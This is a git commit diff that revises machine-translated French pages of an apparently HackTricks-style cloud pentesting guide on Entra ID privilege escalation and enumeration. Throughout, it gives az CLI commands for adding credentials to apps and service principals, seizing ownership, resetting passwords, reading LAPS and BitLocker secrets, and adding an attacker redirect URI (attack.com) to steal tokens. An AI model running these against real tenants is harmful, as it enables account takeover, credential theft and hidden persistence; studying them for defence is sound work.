Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur

This commit is contained in:
Translator
2026-03-01 20:33:32 +00:00
parent b300ded4b1
commit 68139e5e37
2 changed files with 180 additions and 101 deletions

View File

@@ -9,9 +9,9 @@
### Rôle: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Ce rôle contient les permissions granulaires nécessaires pour pouvoir assigner des rôles à des principals et pour donner davantage de permissions aux rôles. Les deux actions pourraient être abusées pour permettre l'escalade des privilèges.
Ce rôle contient les permissions granulaires nécessaires pour pouvoir assigner des rôles à des principals et pour donner davantage de permissions aux rôles. Ces deux actions pourraient être abusées pour escalate privileges.
- Attribuer un rôle à un utilisateur:
- Attribuer un rôle à un utilisateur :
```bash
# List enabled built-in roles
az rest --method GET \
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- Ajouter plus de permissions à un role:
- Ajouter plus de permissions à un rôle :
```bash
# List only custom roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
Cela permet à un attacker d'**add credentials** (passwords or certificates) à des applications existantes. Si l'application dispose de privileged permissions, l'attacker peut authenticate en tant que cette application et obtenir ces privileges.
Cela permet à un attaquant de **add credentials** (passwords or certificates) aux applications existantes. Si l'application possède des privileged permissions, l'attaquant peut s'authentifier en tant que cette application et obtenir ces privilèges.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Cela permet les mêmes actions que `applications/credentials/update`, mais restreint aux applications d'un seul annuaire.
Cela permet les mêmes actions que `applications/credentials/update`, mais limité aux applications d'annuaire unique.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
En s'ajoutant comme owner, un attacker peut manipuler l'application, y compris les credentials et les permissions.
En s'ajoutant comme propriétaire, un attaquant peut manipuler l'application, y compris les identifiants et les autorisations.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,22 +77,24 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Un attaquant peut ajouter un redirect URI à des applications utilisées par les utilisateurs du tenant, puis leur communiquer des login URLs qui utilisent ce nouveau redirect URL afin de voler leurs tokens. Notez que si l'utilisateur était déjà connecté à l'application, l'authentification se fera automatiquement sans que l'utilisateur ait besoin d'accepter quoi que ce soit.
Un attaquant peut ajouter un URI de redirection aux applications utilisées par les utilisateurs du tenant, puis leur partager des URLs de connexion qui utilisent ce nouvel URI de redirection afin de voler leurs tokens. Notez que si l'utilisateur était déjà connecté à l'application, l'authentification sera automatique sans que l'utilisateur ait besoin d'accepter quoi que ce soit.
Notez qu'il est également possible de modifier les permissions demandées par l'application pour obtenir davantage de permissions, mais dans ce cas l'utilisateur devra accepter à nouveau le prompt demandant toutes les permissions.
Notez qu'il est aussi possible de modifier les permissions demandées par l'application afin d'obtenir davantage d'autorisations, mais dans ce cas l'utilisateur devra accepter à nouveau l'invite demandant toutes les autorisations.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
### Escalade de privilèges des applications
### Applications Privilege Escalation
**Comme expliqué dans [cet article](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** il était très courant de trouver des applications par défaut ayant des **API permissions** de type **`Application`** qui leur étaient assignées. Une API Permission (comme indiqué dans la console Entra ID) de type **`Application`** signifie que l'application peut accéder à l'API et effectuer des actions sans contexte utilisateur (sans qu'un utilisateur se connecte à l'application), et sans nécessiter de rôles Entra ID pour l'autoriser. Par conséquent, il est très courant de trouver des **applications hautement privilégiées dans chaque tenant Entra ID**.
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** il était très courant de trouver des applications par défaut auxquelles avaient été assignées des **API permissions** de type **`Application`**.
Ensuite, si un attaquant dispose d'une permission/role lui permettant de **mettre à jour les credentials (secret ou certificat) de l'application**, l'attaquant peut générer un nouveau credential puis l'utiliser pour **s'authentifier en tant que l'application**, obtenant ainsi toutes les permissions que possède l'application.
Une API Permission (comme appelée dans la console Entra ID) de type **`Application`** signifie que l'application peut accéder à l'API et effectuer des actions sans contexte utilisateur (sans qu'un utilisateur se connecte à l'app), et sans nécessiter de rôles Entra ID pour l'y autoriser. Par conséquent, il est très courant de trouver des **applications fortement privilégiées dans chaque tenant Entra ID**.
Notez que le blog mentionné partageait certaines **API permissions** d'applications par défaut courantes de Microsoft ; cependant, quelque temps après ce rapport Microsoft a corrigé ce problème et il n'est plus possible de se connecter en tant qu'applications Microsoft. Toutefois, il reste possible de trouver des **applications personnalisées avec de hauts privilèges pouvant être abusées**.
Ensuite, si un attaquant a une permission/role qui permet de **mettre à jour les credentials (secret o certificate) de l'application**, il peut générer un nouveau credential puis l'utiliser pour **s'authentifier en tant que l'application**, obtenant ainsi toutes les permissions que possède l'application.
Notez que le blog mentionné partage certaines **API permissions** d'applications Microsoft par défaut ; cependant, quelque temps après ce rapport Microsoft a corrigé ce problème et il n'est plus possible de se connecter en tant qu'applications Microsoft. Cependant, il est toujours possible de trouver des **applications personnalisées avec de hauts privilèges pouvant être abusées**.
How to enumerate the API permissions of an application:
```bash
@@ -125,7 +127,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Trouver toutes les applications disposant de permissions d'API sur des API non-Microsoft (az cli)</summary>
<summary>Trouver toutes les permissions API des applications et marquer les API appartenant à Microsoft</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -147,6 +149,32 @@ done
return 1
}
get_permission_value() {
local resource_app_id="$1"
local perm_type="$2"
local perm_id="$3"
local key value
key="${resource_app_id}|${perm_type}|${perm_id}"
value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
if [ -n "$value" ]; then
printf '%s\n' "$value"
return 0
fi
if [ "$perm_type" = "Scope" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
elif [ "$perm_type" = "Role" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
else
value=""
fi
[ -n "$value" ] || value="UNKNOWN"
printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
printf '%s\n' "$value"
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
@@ -155,7 +183,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
tmp_perm_cache="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
@@ -169,9 +198,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
# Print only app permissions where the target API is NOT Microsoft-owned.
# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
@@ -186,14 +215,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
is_ms="true"
else
is_ms="false"
fi
permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
perm_label="${perm_type}:${perm_value}"
if [ -z "$permissions_csv" ]; then
permissions_csv="$perm_label"
else
permissions_csv="${permissions_csv},${perm_label}"
fi
done < <(jq -c '.resourceAccess[]' <<<"$rra")
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
@@ -203,27 +243,27 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
Cela permet à un attaquant d'ajouter des identifiants à des service principals existants. Si le service principal dispose de privilèges élevés, l'attaquant peut assumer ces privilèges.
Ceci permet à un attacker d'ajouter des credentials aux service principals existants. Si le service principal dispose de privilèges élevés, l'attacker peut assumer ces privilèges.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Le nouveau mot de passe généré n'apparaîtra pas dans la console web, donc cela pourrait être une façon furtive de maintenir une persistance sur un service principal.\
> Le nouveau mot de passe généré n'apparaîtra pas dans la console web, donc cela peut être un moyen discret de maintenir une persistance sur un service principal.\
> Depuis l'API, ils peuvent être trouvés avec : `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Si vous obtenez l'erreur `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` c'est parce qu'**il n'est pas possible de modifier la propriété passwordCredentials** du SP et que vous devez d'abord la déverrouiller. Pour cela vous avez besoin d'une permission (`microsoft.directory/applications/allProperties/update`) qui vous permet d'exécuter :
Si vous obtenez l'erreur `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` c'est parce que **il n'est pas possible de modifier la propriété passwordCredentials** du SP et vous devez d'abord la déverrouiller. Pour cela, vous avez besoin d'une permission (`microsoft.directory/applications/allProperties/update`) qui vous permet d'exécuter :
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
Cette autorisation permet à un attacker d'ajouter des credentials aux service principals existants. Si le service principal dispose de privilèges élevés, l'attacker peut assumer ces privilèges.
Cela permet à un attacker d'ajouter des credentials à des service principals existants. Si le service principal dispose de privilèges élevés, l'attacker peut assumer ces privilèges.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Similaire aux applications, cette autorisation permet d'ajouter d'autres propriétaires à un service principal. Être propriétaire d'un service principal permet de contrôler ses identifiants et ses autorisations.
De la même manière que pour les applications, cette permission permet d'ajouter davantage de propriétaires à un service principal. Posséder un service principal permet de contrôler ses identifiants et ses autorisations.
```bash
# Add new owner
spId="<spId>"
@@ -241,9 +281,9 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Après avoir ajouté un nouveau propriétaire, j'ai essayé de le supprimer mais l'API a répondu que la méthode DELETE n'était pas prise en charge, même si c'est la méthode que vous devez utiliser pour supprimer le propriétaire. Donc vous **ne pouvez pas supprimer les propriétaires de nos jours**.
> Après avoir ajouté un nouveau propriétaire, j'ai essayé de le supprimer mais l'API a répondu que la méthode DELETE n'était pas prise en charge, même si c'est la méthode que vous devez utiliser pour supprimer le propriétaire. Donc vous **ne pouvez pas supprimer les propriétaires pour l'instant**.
### `microsoft.directory/servicePrincipals/disable` et `enable`
### `microsoft.directory/servicePrincipals/disable` and `enable`
Ces permissions permettent de désactiver et d'activer des service principals. Un attaquant pourrait utiliser cette permission pour activer un service principal auquel il aurait pu accéder d'une manière ou d'une autre afin d'escalader ses privilèges.
@@ -257,7 +297,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Ces autorisations permettent de créer et d'obtenir des identifiants pour l'authentification unique, ce qui pourrait permettre l'accès à des applications tierces.
Ces autorisations permettent de créer et d'obtenir des identifiants pour le single sign-on, ce qui pourrait permettre d'accéder à des applications tierces.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -283,30 +323,30 @@ az rest --method POST \
### `microsoft.directory/groups/allProperties/update`
Cette permission permet d'ajouter des utilisateurs à des groupes privilégiés, ce qui peut conduire à une élévation de privilèges.
Cette permission permet d'ajouter des utilisateurs à des groupes privilégiés, conduisant à une élévation de privilèges.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Remarque** : Cette permission exclut les groupes assignables par rôle Entra ID.
**Remarque** : Cette permission exclut les groupes assignables aux rôles Entra ID.
### `microsoft.directory/groups/owners/update`
Cette permission permet de devenir propriétaire de groupes. Un propriétaire de groupe peut contrôler les membres et les paramètres du groupe, ce qui peut potentiellement permettre une élévation de privilèges via le groupe.
Cette permission permet de devenir propriétaire de groupes. Un propriétaire d'un groupe peut contrôler l'appartenance et les paramètres du groupe, ce qui peut potentiellement entraîner une élévation de privilèges au niveau du groupe.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Remarque** : Cette permission exclut les Entra ID role-assignable groups.
**Remarque** : Cette permission exclut Entra ID role-assignable groups.
### `microsoft.directory/groups/members/update`
Cette permission permet d'ajouter des membres à un groupe. Un attacker pourrait s'ajouter lui-même ou ajouter des comptes malveillants à des groupes privilégiés, ce qui peut lui accorder elevated access.
Cette permission permet d'ajouter des membres à un groupe. Un attacker pourrait s'ajouter luimême ou ajouter des comptes malveillants à des groupes privilégiés, ce qui pourrait lui octroyer un accès privilégié.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Cette permission permet de mettre à jour la règle d'appartenance d'un groupe dynamique. Un attaquant pourrait modifier les règles dynamiques pour s'inclure dans des groupes privilégiés sans ajout explicite.
Cette permission permet de mettre à jour la règle d'appartenance d'un groupe dynamique. Un attaquant pourrait modifier les règles dynamiques pour s'inclure lui-même dans des groupes privilégiés sans ajout explicite.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -317,11 +357,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**Note** : Cette permission exclut les role-assignable groups d'Entra ID.
**Note** : Cette permission exclut les groupes assignables de rôles Entra ID.
### Dynamic Groups Privesc
### Privesc des groupes dynamiques
Il peut être possible pour des utilisateurs d'escalader leurs privilèges en modifiant leurs propres propriétés afin d'être ajoutés comme membres de dynamic groups. Pour plus d'informations, consultez :
Il peut être possible pour des utilisateurs d'escalader leurs privilèges en modifiant leurs propres propriétés afin d'être ajoutés en tant que membres de groupes dynamiques. Pour plus d'informations, consulter :
{{#ref}}
dynamic-groups.md
@@ -331,13 +371,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
Cette permission permet de réinitialiser le mot de passe d'utilisateurs non administrateurs, ce qui permettrait à un attaquant potentiel d'escalader des privilèges sur d'autres utilisateurs. Cette permission ne peut pas être attribuée aux rôles personnalisés.
Cette permission permet de réinitialiser le mot de passe d'utilisateurs non-administrateurs, permettant à un attaquant potentiel d'escalader ses privilèges vers d'autres utilisateurs. Cette permission ne peut pas être assignée aux rôles personnalisés.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
Ce privilège permet de modifier les propriétés de l'utilisateur. Il est courant de trouver des groupes dynamiques qui ajoutent des utilisateurs en fonction des valeurs des propriétés ; par conséquent, cette autorisation pourrait permettre à un utilisateur de définir la valeur de propriété requise pour devenir membre d'un groupe dynamique spécifique et d'escalader ses privilèges.
Ce privilège permet de modifier les propriétés d'un utilisateur. Il est courant de trouver des groupes dynamiques qui ajoutent des utilisateurs en fonction des valeurs des propriétés ; par conséquent, cette permission pourrait permettre à un utilisateur de définir la valeur de propriété requise pour devenir membre d'un groupe dynamique spécifique et d'escalader ses privilèges.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -355,17 +395,17 @@ az rest --method PATCH \
```
## Conditional Access Policies & MFA bypass
Des politiques Conditional Access mal configurées exigeant MFA peuvent être contournées, vérifiez :
Des conditional access policies mal configurées exigeant MFA peuvent être contournées vérifiez :
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}
## Devices
## Appareils
### `microsoft.directory/devices/registeredOwners/update`
Cette autorisation permet à des attaquants de s'attribuer le rôle de propriétaire d'appareils afin d'obtenir le contrôle ou d'accéder aux paramètres et aux données spécifiques à l'appareil.
Cette permission permet aux attackers de s'attribuer la propriété des appareils afin de prendre le contrôle ou d'accéder aux paramètres et aux données propres aux appareils.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -376,7 +416,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
Cette permission permet aux attaquants d'associer leur compte à des appareils pour obtenir un accès ou contourner des politiques de sécurité.
Cette permission permet aux attackers d'associer leur compte à des appareils pour obtenir l'accès ou contourner les politiques de sécurité.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -387,7 +427,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Cette permission permet à un attaquant de lire les propriétés des informations d'identification sauvegardées du compte administrateur local des appareils joints à Microsoft Entra, y compris le mot de passe.
Cette permission permet aux attaquants de lire les propriétés des credentials sauvegardés du compte administrateur local pour les appareils joints à Microsoft Entra, y compris le mot de passe
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -402,7 +442,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Cette permission permet d'accéder aux clés BitLocker, ce qui pourrait permettre à un attaquant de déchiffrer des disques, compromettant la confidentialité des données.
Cette permission permet d'accéder aux clés BitLocker, ce qui pourrait permettre à un attaquant de décrypter des disques, compromettant la confidentialité des données.
```bash
# List recovery keys
az rest --method GET \

View File

@@ -4,9 +4,9 @@
## Informations de base
Azure Active Directory (Azure AD) est le service cloud de Microsoft pour la gestion des identités et des accès. Il permet aux employés de se connecter et d'accéder aux ressources, tant à l'intérieur qu'à l'extérieur de l'organisation, incluant Microsoft 365, the Azure portal, et de nombreuses autres applications SaaS. Azure AD est conçu pour fournir des services d'identité essentiels, notamment **l'authentification, l'autorisation et la gestion des utilisateurs**.
Azure Active Directory (Azure AD) sert de service cloud de Microsoft pour la gestion des identités et des accès. Il permet aux employés de se connecter et d'accéder aux ressources, tant à l'intérieur qu'à l'extérieur de l'organisation, incluant Microsoft 365, le Azure portal, et une multitude d'autres applications SaaS. La conception d'Azure AD est axée sur la fourniture de services d'identité essentiels, comprenant notamment **authentification, autorisation et gestion des utilisateurs**.
Les fonctionnalités clés d'Azure AD incluent **l'authentification multifacteur** et **l'accès conditionnel**, ainsi qu'une intégration transparente avec d'autres services de sécurité Microsoft. Ces fonctionnalités renforcent considérablement la sécurité des identités utilisateur et permettent aux organisations de mettre en place et d'appliquer efficacement leurs politiques d'accès. En tant que composant fondamental de l'écosystème des services cloud de Microsoft, Azure AD est essentiel pour la gestion des identités basée sur le cloud.
Les fonctionnalités clés d'Azure AD incluent **authentification multifacteur** et **accès conditionnel**, ainsi qu'une intégration transparente avec d'autres services de sécurité Microsoft. Ces fonctionnalités renforcent significativement la sécurité des identités des utilisateurs et permettent aux organisations de mettre en œuvre et d'appliquer efficacement leurs politiques d'accès. En tant que composant fondamental de l'écosystème de services cloud de Microsoft, Azure AD est crucial pour la gestion des identités des utilisateurs dans le cloud.
## Énumération
@@ -185,9 +185,9 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
Quand vous **login** via **CLI** sur Azure avec n'importe quel programme, vous utilisez une **Azure Application** d'un **tenant** qui appartient à **Microsoft**. Ces Applications, comme celles que vous pouvez créer dans votre compte, **ont un client id**. Vous **ne pourrez pas tous les voir** dans les **listes d'applications autorisées** que vous pouvez voir dans la console, **mais elles sont autorisées par défaut**.
Lorsque vous effectuez un **login** via **CLI** sur Azure avec n'importe quel programme, vous utilisez une **Azure Application** d'un **tenant** appartenant à **Microsoft**. Ces Applications, comme celles que vous pouvez créer dans votre compte, **ont un client id**. Vous **ne pourrez pas toutes les voir** dans les **allowed applications lists** visibles dans la console, **mais elles sont autorisées par défaut**.
Par exemple un **powershell script** qui **authenticates** utilise une app avec client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Même si l'app n'apparaît pas dans la console, un sysadmin pourrait **bloquer cette application** afin que les utilisateurs ne puissent pas accéder en utilisant des outils qui se connectent via cette App.
Par exemple, un **powershell script** qui **s'authentifie** utilise une app avec le client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Même si l'app n'apparaît pas dans la console, un sysadmin pourrait **bloquer cette application** afin que les utilisateurs ne puissent pas accéder en utilisant des outils qui se connectent via cette App.
Cependant, il existe **d'autres client-ids** d'applications qui **vous permettront de vous connecter à Azure**:
```bash
@@ -358,15 +358,15 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtab }}
{{#endtabs }}
#### Changer le mot de passe de l'utilisateur
#### Changer le mot de passe d'un utilisateur
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA & Politiques d'accès conditionnel
### MFA & Conditional Access Policies
Il est fortement recommandé d'ajouter MFA à chaque utilisateur ; cependant, certaines entreprises ne l'activeront pas ou pourraient le configurer avec un Conditional Access : l'utilisateur sera **MFA requis si** il se connecte depuis un emplacement spécifique, un navigateur ou **une certaine condition**. Ces politiques, si elles ne sont pas configurées correctement, peuvent être sujettes à des **contournements**. Vérifiez :
Il est fortement recommandé d'ajouter la MFA à chaque utilisateur ; cependant, certaines entreprises ne l'activent pas ou la configurent via un Conditional Access : l'utilisateur devra **utiliser la MFA si** il se connecte depuis un emplacement spécifique, un navigateur ou **une certaine condition**. Ces politiques, si elles sont mal configurées, peuvent être vulnérables à des **bypasses**. Vérifiez :
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -488,8 +488,8 @@ Les propriétaires du groupe peuvent ajouter de nouveaux utilisateurs au groupe
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> Les groupes peuvent être dynamiques, ce qui signifie essentiellement que **si un utilisateur remplit certaines conditions, il sera ajouté à un groupe**. Bien sûr, si les conditions sont basées sur des **attributs** qu'un **utilisateur** peut **contrôler**, il pourrait abuser de cette fonctionnalité pour **s'intégrer dans d'autres groupes**.\
> Consultez la page suivante pour voir comment abuser des groupes dynamiques :
> Les groupes peuvent être dynamiques, ce qui signifie essentiellement que **si un utilisateur remplit certaines conditions il sera ajouté à un groupe**. Bien sûr, si les conditions sont basées sur des **attributs** qu'un **utilisateur** peut **contrôler**, il pourrait abuser de cette fonctionnalité pour **intégrer d'autres groupes**.\
> Consultez comment abuser des groupes dynamiques sur la page suivante :
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -598,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtabs }}
> [!WARNING]
> L'Owner d'un Service Principal peut changer son mot de passe.
> Le propriétaire d'un Service Principal peut changer son mot de passe.
<details>
<summary>Lister et tenter d'ajouter un client secret à chaque Enterprise App</summary>
<summary>Lister et essayer d'ajouter un client secret pour chaque Enterprise App</summary>
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -709,16 +709,17 @@ Write-Output "Failed to Enumerate the Applications."
### Applications
Pour plus d'informations sur les Applications, consultez :
Pour plus d'informations sur Applications, consultez :
{{#ref}}
../az-basic-information/
{{#endref}}
Lorsqu'une App est générée, deux types d'autorisations sont accordés :
Lorsqu'une App est générée, 3 types d'autorisations sont accordées :
- **Autorisations** attribuées au **Service Principal**
- **Autorisations** que l'**app** peut posséder et utiliser au **nom de l'utilisateur**.
- **Permissions** accordées au **Service Principal** (via roles).
- **Permissions** que l'**app** peut avoir et utiliser au **nom de l'utilisateur**.
- **API Permissions** qui donnent à l'app des permissions sur EntraID sans nécessiter que d'autres roles accordent ces permissions.
{{#tabs }}
{{#tab name="az cli" }}
@@ -772,7 +773,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>Trouver toutes les applications ayant des autorisations API pour des APIs non-Microsoft (az cli)</summary>
<summary>Trouver toutes les permissions d'API des applications et marquer Microsoft-owned APIs (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -794,6 +795,32 @@ done
return 1
}
get_permission_value() {
local resource_app_id="$1"
local perm_type="$2"
local perm_id="$3"
local key value
key="${resource_app_id}|${perm_type}|${perm_id}"
value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
if [ -n "$value" ]; then
printf '%s\n' "$value"
return 0
fi
if [ "$perm_type" = "Scope" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
elif [ "$perm_type" = "Role" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
else
value=""
fi
[ -n "$value" ] || value="UNKNOWN"
printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
printf '%s\n' "$value"
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
@@ -802,7 +829,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
tmp_perm_cache="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
@@ -816,9 +844,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
# Print only app permissions where the target API is NOT Microsoft-owned.
# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
@@ -833,14 +861,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
is_ms="true"
else
is_ms="false"
fi
permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
perm_label="${perm_type}:${perm_value}"
if [ -z "$permissions_csv" ]; then
permissions_csv="$perm_label"
else
permissions_csv="${permissions_csv},${perm_label}"
fi
done < <(jq -c '.resourceAccess[]' <<<"$rra")
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
@@ -895,21 +934,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> Une application disposant de la permission **`AppRoleAssignment.ReadWrite`** peut **escalader au rôle Global Admin** en s'attribuant le rôle.\
> Pour plus d'informations [**consultez ceci**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> Une application disposant de la permission **`AppRoleAssignment.ReadWrite`** peut **escalader en Global Admin** en s'octroyant elle-même le rôle.\
> Pour plus d'informations [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
